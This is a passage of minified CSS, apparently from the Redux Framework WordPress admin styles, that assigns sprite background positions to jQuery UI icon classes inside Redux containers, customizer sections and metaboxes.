.ui-icon-triangle-1-e{background-position:-32px -16px}.redux-container .ui-icon-triangle-1-se,.control-section-redux .ui-icon-triangle-1-se,.control-panel-redux .ui-icon-triangle-1-se,.redux-metabox .ui-icon-triangle-1-se{background-position:-48px -16px}.redux-container .ui-icon-triangle-1-s,.control-section-redux .ui-icon-triangle-1-s,.control-panel-redux .ui-icon-triangle-1-s,.redux-metabox .ui-icon-triangle-1-s{background-position:-64px -16px}.redux-container .ui-icon-triangle-1-sw,.control-section-redux .ui-icon-triangle-1-sw,.control-panel-redux .ui-icon-triangle-1-sw,.redux-metabox .ui-icon-triangle-1-sw{background-position:-80px -16px}.redux-container .ui-icon-triangle-1-w,.control-section-redux .ui-icon-triangle-1-w,.control-panel-redux .ui-icon-triangle-1-w,.redux-metabox .ui-icon-triangle-1-w{background-position:-96px -16px}.redux-container .ui-icon-triangle-1-nw,.control-section-redux .ui-icon-triangle-1-nw,.control-panel-redux .ui-icon-triangle-1-nw,.redux-metabox .ui-icon-triangle-1-nw{background-position:-112px -16px}.redux-container .ui-icon-triangle-2-n-s,.control-section-redux .ui-icon-triangle-2-n-s,.control-panel-redux .ui-icon-triangle-2-n-s,.redux-metabox .ui-icon-triangle-2-n-s{background-position:-128px -16px}.redux-container .ui-icon-triangle-2-e-w,.control-section-redux .ui-icon-triangle-2-e-w,.control-panel-redux .ui-icon-triangle-2-e-w,.redux-metabox .ui-icon-triangle-2-e-w{background-position:-144px -16px}.redux-container .ui-icon-arrow-1-n,.control-section-redux .ui-icon-arrow-1-n,.control-panel-redux .ui-icon-arrow-1-n,.redux-metabox .ui-icon-arrow-1-n{background-position:0 -32px}.redux-container .ui-icon-arrow-1-ne,.control-section-redux .ui-icon-arrow-1-ne,.control-panel-redux .ui-icon-arrow-1-ne,.redux-metabox .ui-icon-arrow-1-ne{background-position:-16px -32px}.redux-container .ui-icon-arrow-1-e,.control-section-redux .ui-icon-arrow-1-e,.control-panel-redux .ui-icon-arrow-1-e,.redux-metabox .ui-icon-arrow-1-e{background-position:-32px -32px}.redux-container .ui-icon-arrow-1-se,.control-section-redux .ui-icon-arrow-1-se,.control-panel-redux .ui-icon-arrow-1-se,.redux-metabox .ui-icon-arrow-1-se{background-position:-48px -32px}.redux-container .ui-icon-arrow-1-s,.control-section-redux .ui-icon-arrow-1-s,.control-panel-redux .ui-icon-arrow-1-s,.redux-metabox .ui-icon-arrow-1-s{background-position:-64px -32px}.redux-container .ui-icon-arrow-1-sw,.control-section-redux .ui-icon-arrow-1-sw,.control-panel-redux .ui-icon-arrow-1-sw,.redux-metabox .ui-icon-arrow-1-sw{background-position:-80px -32px}.redux-container .ui-icon-arrow-1-w,.control-section-redux .ui-icon-arrow-1-w,.control-panel-redux .ui-icon-arrow-1-w,.redux-metabox .ui-icon-arrow-1-w{background-position:-96px -32px}.redux-container .ui-icon-arrow-1-nw,.control-section-redux .ui-icon-arrow-1-nw,.control-panel-redux .ui-icon-arrow-1-nw,.redux-metabox .ui-icon-arrow-1-nw{background-position:-112px -32px}.redux-container .ui-icon-arrow-2-n-s,.control-section-redux .ui-icon-arrow-2-n-s,.control-panel-redux .ui-icon-arrow-2-n-s,.redux-metabox .ui-icon-arrow-2-n-s{background-position:-128px -32px}.redux-container .ui-icon-arrow-2-ne-sw,.control-section-redux .ui-icon-arrow-2-ne-sw,.control-panel-redux .ui-icon-arrow-2-ne-sw,.redux-metabox .ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.redux-container .ui-icon-arrow-2-e-w,.control-section-redux .ui-icon-arrow-2-e-w,.control-panel-redux .ui-icon-arrow-2-e-w,.redux-metabox .ui-icon-arrow-2-e-w{background-position:-160px -32px}.redux-container .ui-icon-arrow-2-se-nw,.control-section-redux .ui-icon-arrow-2-se-nw,.control-panel-redux .ui-icon-arrow-2-se-nw,.redux-metabox .ui-icon-arrow-2-se-nw{background-position:-176px -32px}.redux-container .ui-icon-arrowstop-1-n,.control-section-redux .ui-icon-arrowstop-1-n,.control-panel-redux .ui-icon-arrowstop-1-n,.redux-metabox .ui-icon-arrowstop-1-n{background-position:-192px -32px}.redux-container .ui-icon-arrowstop-1-e,.control-section-redux .ui-icon-arrowstop-1-e,.control-panel-redux .ui-icon-arrowstop-1-e,.redux-metabox .ui-icon-arrowstop-1-e{background-position:-208px -32px}.redux-container .ui-icon-arrowstop-1-s,.control-section-redux .ui-icon-arrowstop-1-s,.control-panel-redux .ui-icon-arrowstop-1-s,.redux-metabox .ui-icon-arrowstop-1-s{background-position:-224px -32px}.redux-container .ui-icon-arrowstop-1-w,.control-section-redux .ui-icon-arrowstop-1-w,.control-panel-redux .ui-icon-arrowstop-1-w,.redux-metabox .ui-icon-arrowstop-1-w{background-position:-240px -32px}.redux-container .ui-icon-arrowthick-1-n,.control-section-redux .ui-icon-arrowthick-1-n,.control-panel-redux .ui-icon-arrowthick-1-n,.redux-metabox .ui-icon-arrowthick-1-n{background-position:0 -48px}.redux-container .ui-icon-arrowthick-1-ne,.control-section-redux .ui-icon-arrowthick-1-ne,.control-panel-redux .ui-icon-arrowthick-1-ne,.redux-metabox .ui-icon-arrowthick-1-ne{background-position:-16px -48px}.redux-container .ui-icon-arrowthick-1-e,.control-section-redux .ui-icon-arrowthick-1-e,.control-panel-redux .ui-icon-arrowthick-1-e,.redux-metabox .ui-icon-arrowthick-1-e{background-position:-32px -48px}.redux-container .ui-icon-arrowthick-1-se,.control-section-redux .ui-icon-arrowthick-1-se,.control-panel-redux .ui-icon-arrowthick-1-se,.redux-metabox .ui-icon-arrowthick-1-se{background-position:-48px -48px}.redux-container .ui-icon-arrowthick-1-s,.control-section-redux .ui-icon-arrowthick-1-s,.control-panel-redux .ui-icon-arrowthick-1-s,.redux-metabox .ui-icon-arrowthick-1-s{background-position:-64px -48px}.redux-container .ui-icon-arrowthick-1-sw,.control-section-redux .ui-icon-arrowthick-1-sw,.control-panel-redux .ui-icon-arrowthick-1-sw,.redux-metabox .ui-icon-arrowthick-1-sw{background-position:-80px -48px}.redux-container .ui-icon-arrowthick-1-w,.control-section-redux .ui-icon-arrowthick-1-w,.control-panel-redux .ui-icon-arrowthick-1-w,.redux-metabox .ui-icon-arrowthick-1-w{background-position:-96px -48px}.redux-container .ui-icon-arrowthick-1-nw,.control-section-redux .ui-icon-arrowthick-1-nw,.control-panel-redux .ui-icon-arrowthick-1-nw,.redux-metabox .ui-icon-arrowthick-1-nw{background-position:-112px -48px}.redux-container .ui-icon-arrowthick-2-n-s,.control-section-redux .ui-icon-arrowthick-2-n-s,.control-panel-redux .ui-icon-arrowthick-2-n-s,.redux-metabox .ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.redux-container .ui-icon-arrowthick-2-ne-sw,.control-section-redux .ui-icon-arrowthick-2-ne-sw,.control-panel-redux .ui-icon-arrowthick-2-ne-sw,.redux-metabox .ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.redux-container .ui-icon-arrowthick-2-e-w,.control-section-redux .ui-icon-arrowthick-2-e-w,.control-panel-redux .ui-icon-arrowthick-2-e-w,.redux-metabox .ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.redux-container .ui-icon-arrowthick-2-se-nw,.control-section-redux .ui-icon-arrowthick-2-se-nw,.control-panel-redux .ui-icon-arrowthick-2-se-nw,.redux-metabox .ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.redux-container .ui-icon-arrowthickstop-1-n,.control-section-redux .ui-icon-arrowthickstop-1-n,.control-panel-redux .ui-icon-arrowthickstop-1-n,.redux-metabox .ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.redux-container .ui-icon-arrowthickstop-1-e,.control-section-redux .ui-icon-arrowthickstop-1-e,.control-panel-redux .ui-icon-arrowthickstop-1-e,.redux-metabox .ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.redux-container .ui-icon-arrowthickstop-1-s,.control-section-redux .ui-icon-arrowthickstop-1-s,.control-panel-redux .ui-icon-arrowthickstop-1-s,.redux-metabox .ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.redux-container .ui-icon-arrowthickstop-1-w,.control-section-redux .ui-icon-arrowthickstop-1-w,.control-panel-redux .ui-icon-arrowthickstop-1-w,.redux-metabox .ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.redux-container .ui-icon-arrowreturnthick-1-w,.control-section-redux .ui-icon-arrowreturnthick-1-w,.control-panel-redux .ui-icon-arrowreturnthick-1-w,.redux-metabox .ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.redux-container .ui-icon-arrowreturnthick-1-n,.control-section-redux .ui-icon-arrowreturnthick-1-n,.control-panel-redux .ui-icon-arrowreturnthick-1-n,.redux-metabox .ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.redux-container .ui-icon-arrowreturnthick-1-e,.control-section-redux .ui-icon-arrowreturnthick-1-e,.control-panel-redux .ui-icon-arrowreturnthick-1-e,.redux-metabox .ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.redux-container .ui-icon-arrowreturnthick-1-s,.control-section-redux .ui-icon-arrowreturnthick-1-s,.control-panel-redux .ui-icon-arrowreturnthick-1-s,.redux-metabox .ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.redux-container .ui-icon-arrowreturn-1-w,.control-section-redux .ui-icon-arrowreturn-1-w,.control-panel-redux .ui-icon-arrowreturn-1-w,.redux-metabox .ui-icon-arrowreturn-1-w{background-position:-64px -64px}.redux-container .ui-icon-arrowreturn-1-n,.control-section-redux .ui-icon-arrowreturn-1-n,.control-panel-redux .ui-icon-arrowreturn-1-n,.redux-metabox .ui-icon-arrowreturn-1-n{background-position:-80px -64px}.redux-container .ui-icon-arrowreturn-1-e,.control-section-redux .ui-icon-arrowreturn-1-e,.control-panel-redux .ui-icon-arrowreturn-1-e,.redux-metabox .ui-icon-arrowreturn-1-e{background-position:-96px -64px}.redux-container .ui-icon-arrowreturn-1-s,.control-section-redux .ui-icon-arrowreturn-1-s,.control-panel-redux .ui-icon-arrowreturn-1-s,.redux-metabox .ui-icon-arrowreturn-1-s{background-position:-112px -64px}.redux-container .ui-icon-arrowrefresh-1-w,.control-section-redux .ui-icon-arrowrefresh-1-w,.control-panel-redux .ui-icon-arrowrefresh-1-w,.redux-metabox .ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.redux-container .ui-icon-arrowrefresh-1-n,.control-section-redux .ui-icon-arrowrefresh-1-n,.control-panel-redux .ui-icon-arrowrefresh-1-n,.redux-metabox .ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.redux-container .ui-icon-arrowrefresh-1-e,.control-section-redux .ui-icon-arrowrefresh-1-e,.control-panel-redux .ui-icon-arrowrefresh-1-e,.redux-metabox .ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.redux-container .ui-icon-arrowrefresh-1-s,.control-section-redux .ui-icon-arrowrefresh-1-s,.control-panel-redux .ui-icon-arrowrefresh-1-s,.redux-metabox .ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.redux-container .ui-icon-arrow-4,.control-section-redux .ui-icon-arrow-4,.control-panel-redux .ui-icon-arrow-4,.redux-metabox .ui-icon-arrow-4{background-position:0 -80px}.redux-container .ui-icon-arrow-4-diag,.control-section-redux .ui-icon-arrow-4-diag,.control-panel-redux .ui-icon-arrow-4-diag,.redux-metabox .ui-icon-arrow-4-diag{background-position:-16px -80px}.redux-container .ui-icon-extlink,.control-section-redux .ui-icon-extlink,.control-panel-redux .ui-icon-extlink,.redux-metabox .ui-icon-extlink{background-position:-32px -80px}.redux-container .ui-icon-newwin,.control-section-redux .ui-icon-newwin,.control-panel-redux .ui-icon-newwin,.redux-metabox .ui-icon-newwin{background-position:-48px -80px}.redux-container .ui-icon-refresh,.control-section-redux .ui-icon-refresh,.control-panel-redux .ui-icon-refresh,.redux-metabox .ui-icon-refresh{background-position:-64px -80px}.redux-container .ui-icon-shuffle,.control-section-redux .ui-icon-shuffle,.control-panel-redux .ui-icon-shuffle,.redux-metabox .ui-icon-shuffle{background-position:-80px -80px}.redux-container .ui-icon-transfer-e-w,.control-section-redux .ui-icon-transfer-e-w,.control-panel-redux .ui-icon-transfer-e-w,.redux-metabox .ui-icon-transfer-e-w{background-position:-96px -80px}.redux-container .ui-icon-transferthick-e-w,.control-section-redux .ui-icon-transferthick-e-w,.control-panel-redux .ui-icon-transferthick-e-w,.redux-metabox .ui-icon-transferthick-e-w{background-position:-112px -80px}.redux-container .ui-icon-folder-collapsed,.control-section-redux .ui-icon-folder-collapsed,.control-panel-redux .ui-icon-folder-collapsed,.redux-metabox .ui-icon-folder-collapsed{background-position:0 -96px}.redux-container .ui-icon-folder-open,.control-section-redux .ui-icon-folder-open,.control-panel-redux .ui-icon-folder-open,.redux-metabox .ui-icon-folder-open{background-position:-16px -96px}.redux-container .ui-icon-document,.control-section-redux .ui-icon-document,.control-panel-redux .ui-icon-document,.redux-metabox .ui-icon-document{background-position:-32px -96px}.redux-container .ui-icon-document-b,.control-section-redux .ui-icon-document-b,.control-panel-redux .ui-icon-document-b,.redux-metabox .ui-icon-document-b{background-position:-48px -96px}.redux-container .ui-icon-note,.control-section-redux .ui-icon-note,.control-panel-redux .ui-icon-note,.redux-metabox .ui-icon-note{background-position:-64px -96px}.redux-container .ui-icon-mail-closed,.control-section-redux .ui-icon-mail-closed,.control-panel-redux .ui-icon-mail-closed,.redux-metabox .ui-icon-mail-closed{background-position:-80px -96px}.redux-container .ui-icon-mail-open,.control-section-redux .ui-icon-mail-open,.control-panel-redux .ui-icon-mail-open,.redux-metabox .ui-icon-mail-open{background-position:-96px -96px}.redux-container .ui-icon-suitcase,.control-section-redux .ui-icon-suitcase,.control-panel-redux .ui-icon-suitcase,.redux-metabox .ui-icon-suitcase{background-position:-112px -96px}.redux-container .ui-icon-comment,.control-section-redux .ui-icon-comment,.control-panel-redux .ui-icon-comment,.redux-metabox .ui-icon-comment{background-position:-128px -96px}.redux-container .ui-icon-person,.control-section-redux .ui-icon-person,.control-panel-redux .ui-icon-person,.redux-metabox .ui-icon-person{background-position:-144px -96px}.redux-container .ui-icon-print,.control-section-redux .ui-icon-print,.control-panel-redux .ui-icon-print,.redux-metabox .ui-icon-print{background-position:-160px -96px}.redux-container .ui-icon-trash,.control-section-redux .ui-icon-trash,.control-panel-redux .ui-icon-trash,.redux-metabox .ui-icon-trash{background-position:-176px -96px}.redux-container .ui-icon-locked,.control-section-redux .ui-icon-locked,.control-panel-redux .ui-icon-locked,.redux-metabox .ui-icon-locked{background-position:-192px -96px}.redux-container .ui-icon-unlocked,.control-section-redux .ui-icon-unlocked,.control-panel-redux .ui-icon-unlocked,.redux-metabox .ui-icon-unlocked{background-position:-208px -96px}.redux-container .ui-icon-bookmark,.control-section-redux .ui-icon-bookmark,.control-panel-redux .ui-icon-bookmark,.redux-metabox .ui-icon-bookmark{background-position:-224px -96px}.redux-container .ui-icon-tag,.control-section-redux .ui-icon-tag,.control-panel-redux .ui-icon-tag,.redux-metabox .ui-icon-tag{background-position:-240px -96px}.redux-container .ui-icon-home,.control-section-redux .ui-icon-home,.control-panel-redux .ui-icon-home,.redux-metabox .ui-icon-home{background-position:0 -112px}.redux-container .ui-icon-flag,.control-section-redux .ui-icon-flag,.control-panel-redux .ui-icon-flag,.redux-metabox .ui-icon-flag{background-position:-16px -112px}.redux-container .ui-icon-calendar,.control-section-redux .ui-icon-calendar,.control-panel-redux .ui-icon-calendar,.redux-metabox .ui-icon-calendar{background-position:-32px -112px}.redux-container .ui-icon-cart,.control-section-redux .ui-icon-cart,.control-panel-redux .ui-icon-cart,.redux-metabox .ui-icon-cart{background-position:-48px -112px}.redux-container .ui-icon-pencil,.control-section-redux .ui-icon-pencil,.control-panel-redux .ui-icon-pencil,.redux-metabox .ui-icon-pencil{background-position:-64px -112px}.redux-container .ui-icon-clock,.control-section-redux .ui-icon-clock,.control-panel-redux .ui-icon-clock,.redux-metabox .ui-icon-clock{background-position:-80px -112px}.redux-container .ui-icon-disk,.control-section-redux .ui-icon-disk,.control-panel-redux .ui-icon-disk,.redux-metabox .ui-icon-disk{background-position:-96px -112px}.redux-container .ui-icon-calculator,.control-section-redux .ui-icon-calculator,.control-panel-redux .ui-icon-calculator,.redux-metabox .ui-icon-calculator{background-position:-112px -112px}.redux-container .ui-icon-zoomin,.control-section-redux .ui-icon-zoomin,.control-panel-redux .ui-icon-zoomin,.redux-metabox .ui-icon-zoomin{background-position:-128px -112px}.redux-container .ui-icon-zoomout,.control-section-redux .ui-icon-zoomout,.control-panel-redux .ui-icon-zoomout,.redux-metabox .ui-icon-zoomout{background-position:-144px -112px}.redux-container .ui-icon-search,.control-section-redux .ui-icon-search,.control-panel-redux .ui-icon-search,.redux-metabox .ui-icon-search{background-position:-160px -112px}.redux-container .ui-icon-wrench,.control-section-redux .ui-icon-wrench,.control-panel-redux .ui-icon-wrench,.redux-metabox .ui-icon-wrench{background-position:-176px -112px}.redux-container .ui-icon-gear,.control-section-redux .ui-icon-gear,.control-panel-redux .ui-icon-gear,.redux-metabox .ui-icon-gear{background-position:-192px -112px}.redux-container .ui-icon-heart,.control-section-redux .ui-icon-heart,.control-panel-redux .ui-icon-heart,.redux-metabox .ui-icon-heart{background-position:-208px -112px}.redux-container .ui-icon-star,.control-section-redux .ui-icon-star,.control-panel-redux .ui-icon-star,.redux-metabox .ui-icon-star{background-position:-224px -112px}.redux-container .ui-icon-link,.control-section-redux .ui-icon-link,.control-panel-redux .ui-icon-link,.redux-metabox .ui-icon-link{background-position:-240px -112px}.redux-container .ui-icon-cancel,.control-section-redux .ui-icon-cancel,.control-panel-redux .ui-icon-cancel,.redux-metabox .ui-icon-cancel{background-position:0 -128px}.redux-container .ui-icon-plus,.control-section-redux .ui-icon-plus,.control-panel-redux .ui-icon-plus,.redux-metabox .ui-icon-plus{background-position:-16px -128px}.redux-container .ui-icon-plusthick,.control-section-redux .ui-icon-plusthick,.control-panel-redux .ui-icon-plusthick,.redux-metabox .ui-icon-plusthick{background-position:-32px -128px}.redux-container .ui-icon-minus,.control-section-redux .ui-icon-minus,.control-panel-redux .ui-icon-minus,.redux-metabox .ui-icon-minus{background-position:-48px -128px}.redux-container .ui-icon-minusthick,.control-section-redux .ui-icon-minusthick,.control-panel-redux .ui-icon-minusthick,.redux-metabox .ui-icon-minusthick{background-position:-64px -128px}.redux-container .ui-icon-close,.control-section-redux .ui-icon-close,.control-panel-redux .ui-icon-close,.redux-metabox .ui-icon-close{background-position:-80px -128px}.redux-container .ui-icon-closethick,.control-section-redux .ui-icon-closethick,.control-panel-redux .ui-icon-closethick,.redux-metabox .ui-icon-closethick{background-position:-96px -128px}.redux-container .ui-icon-key,.control-section-redux .ui-icon-key,.control-panel-redux .ui-icon-key,.redux-metabox .ui-icon-key{background-position:-112px -128px}.redux-container .ui-icon-lightbulb,.control-section-redux .ui-icon-lightbulb,.control-panel-redux .ui-icon-lightbulb,.redux-metabox .ui-icon-lightbulb{background-position:-128px -128px}.redux-container .ui-icon-scissors,.control-section-redux .ui-icon-scissors,.control-panel-redux .ui-icon-scissors,.redux-metabox .ui-icon-scissors{background-position:-144px -128px}.redux-container .ui-icon-clipboard,.control-section-redux .ui-icon-clipboard,.control-panel-redux .ui-icon-clipboard,.redux-metabox .ui-icon-clipboard{background-position:-160px -128px}.redux-container .ui-icon-copy,.control-section-redux .ui-icon-copy,.control-panel-redux .ui-icon-copy,.redux-metabox .ui-icon-copy{background-position:-176px -128px}.redux-container .ui-icon-contact,.control-section-redux .ui-icon-contact,.control-panel-redux .ui-icon-contact,.redux-metabox .ui-icon-contact{background-position:-192px -128px}.redux-container .ui-icon-image,.control-section-redux .ui-icon-image,.control-panel-redux .ui-icon-image,.redux-metabox .ui-icon-image{background-position:-208px -128px}.redux-container .ui-icon-video,.control-section-redux .ui-icon-video,.control-panel-redux .ui-icon-video,.redux-metabox .ui-icon-video{background-position:-224px -128px}.redux-container .ui-icon-script,.control-section-redux .ui-icon-script,.control-panel-redux .ui-icon-script,.redux-metabox .ui-icon-script{background-position:-240px -128px}.redux-container .ui-icon-alert,.control-section-redux .ui-icon-alert,.control-panel-redux .ui-icon-alert,.redux-metabox .ui-icon-alert{background-position:0 -144px}.redux-container .ui-icon-info,.control-section-redux .ui-icon-info,.control-panel-redux .ui-icon-info,.redux-metabox .ui-icon-info{background-position:-16px -144px}.redux-container .ui-icon-notice,.control-section-redux .ui-icon-notice,.control-panel-redux .ui-icon-notice,.redux-metabox .ui-icon-notice{background-position:-32px -144px}.redux-container .ui-icon-help,.control-section-redux .ui-icon-help,.control-panel-redux .ui-icon-help,.redux-metabox .ui-icon-help{background-position:-48px -144px}.redux-container .ui-icon-check,.control-section-redux .ui-icon-check,.control-panel-redux .ui-icon-check,.redux-metabox .ui-icon-check{background-position:-64px -144px}.redux-container .ui-icon-bullet,.control-section-redux .ui-icon-bullet,.control-panel-redux .ui-icon-bullet,.redux-metabox .ui-icon-bullet{background-position:-80px -144px}.redux-container .ui-icon-radio-off,.control-section-redux .ui-icon-radio-off,.control-panel-redux .ui-icon-radio-off,.redux-metabox .ui-icon-radio-off{background-position:-96px -144px}.redux-container .ui-icon-radio-on,.control-section-redux .ui-icon-radio-on,.control-panel-redux .ui-icon-radio-on,.redux-metabox .ui-icon-radio-on{background-position:-112px -144px}.redux-container .ui-icon-pin-w,.control-section-redux .ui-icon-pin-w,.control-panel-redux .ui-icon-pin-w,.redux-metabox .ui-icon-pin-w{background-position:-128px -144px}.redux-container .ui-icon-pin-s,.control-section-redux .ui-icon-pin-s,.control-panel-redux .ui-icon-pin-s,.redux-metabox .ui-icon-pin-s{background-position:-144px -144px}.redux-container .ui-icon-play,.control-section-redux .ui-icon-play,.control-panel-redux .ui-icon-play,.redux-metabox .ui-icon-play{background-position:0 -160px}.redux-container .ui-icon-pause,.control-section-redux .ui-icon-pause,.control-panel-redux .ui-icon-pause,.redux-metabox .ui-icon-pause{background-position:-16px -160px}.redux-container .ui-icon-seek-next,.control-section-redux .ui-icon-seek-next,.control-panel-redux .ui-icon-seek-next,.redux-metabox .ui-icon-seek-next{background-position:-32px -160px}.redux-container .ui-icon-seek-prev,.control-section-redux .ui-icon-seek-prev,.control-panel-redux .ui-icon-seek-prev,.redux-metabox .ui-icon-seek-prev{background-position:-48px -160px}.redux-container .ui-icon-seek-end,.control-section-redux .ui-icon-seek-end,.control-panel-redux .ui-icon-seek-end,.redux-metabox .ui-icon-seek-end{background-position:-64px -160px}.redux-container .ui-icon-seek-start,.control-section-redux .ui-icon-seek-start,.control-panel-redux .ui-icon-seek-start,.redux-metabox .ui-icon-seek-start{background-position:-80px -160px}.redux-container .ui-icon-seek-first,.control-section-redux .ui-icon-seek-first,.control-panel-redux .ui-icon-seek-first,.redux-metabox .ui-icon-seek-first{background-position:-80px -160px}.redux-container .ui-icon-stop,.control-section-redux .ui-icon-stop,.control-panel-redux .ui-icon-stop,.redux-metabox .ui-icon-stop{background-position:-96px -160px}.redux-container .ui-icon-eject,.control-section-redux .ui-icon-eject,.control-panel-redux .ui-icon-eject,.redux-metabox .ui-icon-eject{background-position:-112px -160px}.redux-container .ui-icon-volume-off,.control-section-redux .ui-icon-volume-off,.control-panel-redux .ui-icon-volume-off,.redux-metabox .ui-icon-volume-off{background-position:-128px -160px}.redux-container .ui-icon-volume-on,.control-section-redux .ui-icon-volume-on,.control-panel-redux .ui-icon-volume-on,.redux-metabox .ui-icon-volume-on{background-position:-144px -160px}.redux-container .ui-icon-power,.control-section-redux .ui-icon-power,.control-panel-redux .ui-icon-power,.redux-metabox .ui-icon-power{background-position:0 -176px}.redux-container .ui-icon-signal-diag,.control-section-redux .ui-icon-signal-diag,.control-panel-redux .ui-icon-signal-diag,.redux-metabox .ui-icon-signal-diag{background-position:-16px -176px}.redux-container .ui-icon-signal,.control-section-redux .ui-icon-signal,.control-panel-redux .ui-icon-signal,.redux-metabox .ui-icon-signal{background-position:-32px -176px}.redux-container .ui-icon-battery-0,.control-section-redux .ui-icon-battery-0,.control-panel-redux .ui-icon-battery-0,.redux-metabox .ui-icon-battery-0{background-position:-48px -176px}.redux-container .ui-icon-battery-1,.control-section-redux .ui-icon-battery-1,.control-panel-redux .ui-icon-battery-1,.redux-metabox .ui-icon-battery-1{background-position:-64px -176px}.redux-container .ui-icon-battery-2,.control-section-redux .ui-icon-battery-2,.control-panel-redux .ui-icon-battery-2,.redux-metabox .ui-icon-battery-2{background-position:-80px -176px}.redux-container .ui-icon-battery-3,.control-section-redux .ui-icon-battery-3,.control-panel-redux .ui-icon-battery-3,.redux-metabox .ui-icon-battery-3{background-position:-96px -176px}.redux-container .ui-icon-circle-plus,.control-section-redux .ui-icon-circle-plus,.control-panel-redux .ui-icon-circle-plus,.redux-metabox .ui-icon-circle-plus{background-position:0 -192px}.redux-container .ui-icon-circle-minus,.control-section-redux .ui-icon-circle-minus,.control-panel-redux .ui-icon-circle-minus,.redux-metabox .ui-icon-circle-minus{background-position:-16px -192px}.redux-container .ui-icon-circle-close,.control-section-redux .ui-icon-circle-close,.control-panel-redux .ui-icon-circle-close,.redux-metabox .ui-icon-circle-close{background-position:-32px -192px}.redux-container .ui-icon-circle-triangle-e,.control-section-redux .ui-icon-circle-triangle-e,.control-panel-redux .ui-icon-circle-triangle-e,.redux-metabox .ui-icon-circle-triangle-e{background-position:-48px -192px}.redux-container .ui-icon-circle-triangle-s,.control-section-redux .ui-icon-circle-triangle-s,.control-panel-redux .ui-icon-circle-triangle-s,.redux-metabox .ui-icon-circle-triangle-s{background-position:-64px -192px}.redux-container .ui-icon-circle-triangle-w,.control-section-redux .ui-icon-circle-triangle-w,.control-panel-redux .ui-icon-circle-triangle-w,.redux-metabox .ui-icon-circle-triangle-w{background-position:-80px -192px}.redux-container .ui-icon-circle-triangle-n,.control-section-redux .ui-icon-circle-triangle-n,.control-panel-redux .ui-icon-circle-triangle-n,.redux-metabox .ui-icon-circle-triangle-n{background-position:-96px -192px}.redux-container .ui-icon-circle-arrow-e,.control-section-redux .ui-icon-circle-arrow-e,.control-panel-redux .ui-icon-circle-arrow-e,.redux-metabox .ui-icon-circle-arrow-e{background-position:-112px -192px}.redux-container .ui-icon-circle-arrow-s,.control-section-redux .ui-icon-circle-arrow-s,.control-panel-redux .ui-icon-circle-arrow-s,.redux-metabox .ui-icon-circle-arrow-s{background-position:-128px -192px}.redux-container .ui-icon-circle-arrow-w,.control-section-redux .ui-icon-circle-arrow-w,.control-panel-redux .ui-icon-circle-arrow-w,.redux-metabox .ui-icon-circle-arrow-w{background-position:-144px -192px}.redux-container .ui-icon-circle-arrow-n,.control-section-redux .ui-icon-circle-arrow-n,.control-panel-redux .ui-icon-circle-arrow-n,.redux-metabox .ui-icon-circle-arrow-n{background-position:-160px -192px}.redux-container .ui-icon-circle-zoomin,.control-section-redux .ui-icon-circle-zoomin,.control-panel-redux .ui-icon-circle-zoomin,.redux-metabox .ui-icon-circle-zoomin{background-position:-176px -192px}.redux-container .ui-icon-circle-zoomout,.control-section-redux .ui-icon-circle-zoomout,.control-panel-redux .ui-icon-circle-zoomout,.redux-metabox .ui-icon-circle-zoomout{background-position:-192px -192px}.redux-container .ui-icon-circle-check,.control-section-redux .ui-icon-circle-check,.control-panel-redux .ui-icon-circle-check,.redux-metabox .ui-icon-circle-check{background-position:-208px -192px}.redux-container .ui-icon-circlesmall-plus,.control-section-redux .ui-icon-circlesmall-plus,.control-panel-redux .ui-icon-circlesmall-plus,.redux-metabox .ui-icon-circlesmall-plus{background-position:0 -208px}.redux-container .ui-icon-circlesmall-minus,.control-section-redux .ui-icon-circlesmall-minus,.control-panel-redux .ui-icon-circlesmall-minus,.redux-metabox .ui-icon-circlesmall-minus{background-position:-16px -208px}.redux-container .ui-icon-circlesmall-close,.control-section-redux .ui-icon-circlesmall-close,.control-panel-redux .ui-icon-circlesmall-close,.redux-metabox .ui-icon-circlesmall-close{background-position:-32px -208px}.redux-container .ui-icon-squaresmall-plus,.control-section-redux .ui-icon-squaresmall-plus,.control-panel-redux .ui-icon-squaresmall-plus,.redux-metabox .ui-icon-squaresmall-plus{background-position:-48px -208px}.redux-container .ui-icon-squaresmall-minus,.control-section-redux .ui-icon-squaresmall-minus,.control-panel-redux .ui-icon-squaresmall-minus,.redux-metabox .ui-icon-squaresmall-minus{background-position:-64px -208px}.redux-container .ui-icon-squaresmall-close,.control-section-redux .ui-icon-squaresmall-close,.control-panel-redux .ui-icon-squaresmall-close,.redux-metabox .ui-icon-squaresmall-close{background-position:-80px -208px}.redux-container .ui-icon-grip-dotted-vertical,.control-section-redux .ui-icon-grip-dotted-vertical,.control-panel-redux .ui-icon-grip-dotted-vertical,.redux-metabox .ui-icon-grip-dotted-vertical{background-position:0 -224px}.redux-container .ui-icon-grip-dotted-horizontal,.control-section-redux .ui-icon-grip-dotted-horizontal,.control-panel-redux .ui-icon-grip-dotted-horizontal,.redux-metabox .ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.redux-container .ui-icon-grip-solid-vertical,.control-section-redux .ui-icon-grip-solid-vertical,.control-panel-redux .ui-icon-grip-solid-vertical,.redux-metabox .ui-icon-grip-solid-vertical{background-position:-32px -224px}.redux-container .ui-icon-grip-solid-horizontal,.control-section-redux .ui-icon-grip-solid-horizontal,.control-panel-redux .ui-icon-grip-solid-horizontal,.redux-metabox .ui-icon-grip-solid-horizontal{background-position:-48px -224px}.redux-container .ui-icon-gripsmall-diagonal-se,.control-section-redux .ui-icon-gripsmall-diagonal-se,.control-panel-redux .ui-icon-gripsmall-diagonal-se,.redux-metabox .ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.redux-container .ui-icon-grip-diagonal-se,.control-section-redux .ui-icon-grip-diagonal-se,.control-panel-redux 